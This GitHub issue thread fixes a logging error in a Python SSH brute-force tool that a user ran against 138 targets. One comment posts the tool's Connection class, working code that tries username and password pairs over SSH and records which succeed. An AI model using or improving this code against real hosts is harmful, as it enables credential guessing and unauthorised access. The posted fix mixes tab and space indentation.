Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

No handlers could be found for logger "paramiko.transport" #10

Open
LucasRoot opened this issue Oct 2, 2016 · 3 comments
Open

No handlers could be found for logger "paramiko.transport" #10

LucasRoot opened this issue Oct 2, 2016 · 3 comments

Comments

@LucasRoot
Copy link

Sometimes when I bruteforce an IP I get this: No handlers could be found for logger "paramiko.transport"

[] Simple SSH Brute Forcer: By r4stl1n
[
] Loaded 138 Targets
[] Loaded 4 Usernames
[
] Loaded 6 Passwords
[*] Brute Force Starting
No handlers could be found for logger "paramiko.transport"

@GrexAut
Copy link

GrexAut commented Oct 4, 2017

Any solution?

@cjmahieu
Copy link

cjmahieu commented Jun 24, 2019

You need to add the following line to the run() method:
paramiko.util.log_to_file("filename.log")
Therefore you should also have the corresponding import:
import paramiko

So the full file should look like this:


'''
Created on Aug 25, 2011

@author: r4stl1n
'''
import sys

from threading import Thread

# Check For Paramiko Dependency
try:
    import paramiko
    from paramiko import SSHClient
    from paramiko import AutoAddPolicy
except ImportError:
    print('Missing Paramiko Dependency.')
    sys.exit(0)


class Connection(Thread):
    '''
    This is the class that checks if a specific
    Username and password combination was successful.
    '''

    def __init__(self, username, password, targetIp, portNumber, timeoutTime):

        super(Connection, self).__init__()

        self.username = username
        self.password = password
        self.targetIp = targetIp
        self.portNumber = portNumber
        self.timeoutTime = timeoutTime
        self.status = ""

    def run(self):
	paramiko.util.log_to_file("filename.log")
        sshConnection = SSHClient()
        sshConnection.set_missing_host_key_policy(AutoAddPolicy())

        try:
            sshConnection.connect(self.targetIp, port=int(self.portNumber),
                                  username=self.username, password=self.password,
                                  timeout=int(self.timeoutTime), allow_agent=False, look_for_keys=False)

            self.status = 'Succeeded'
            sshConnection.close()
        except:
            self.status = 'Failed'

@ghost
Copy link

ghost commented Mar 8, 2022

In verbose you can see it is still running

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants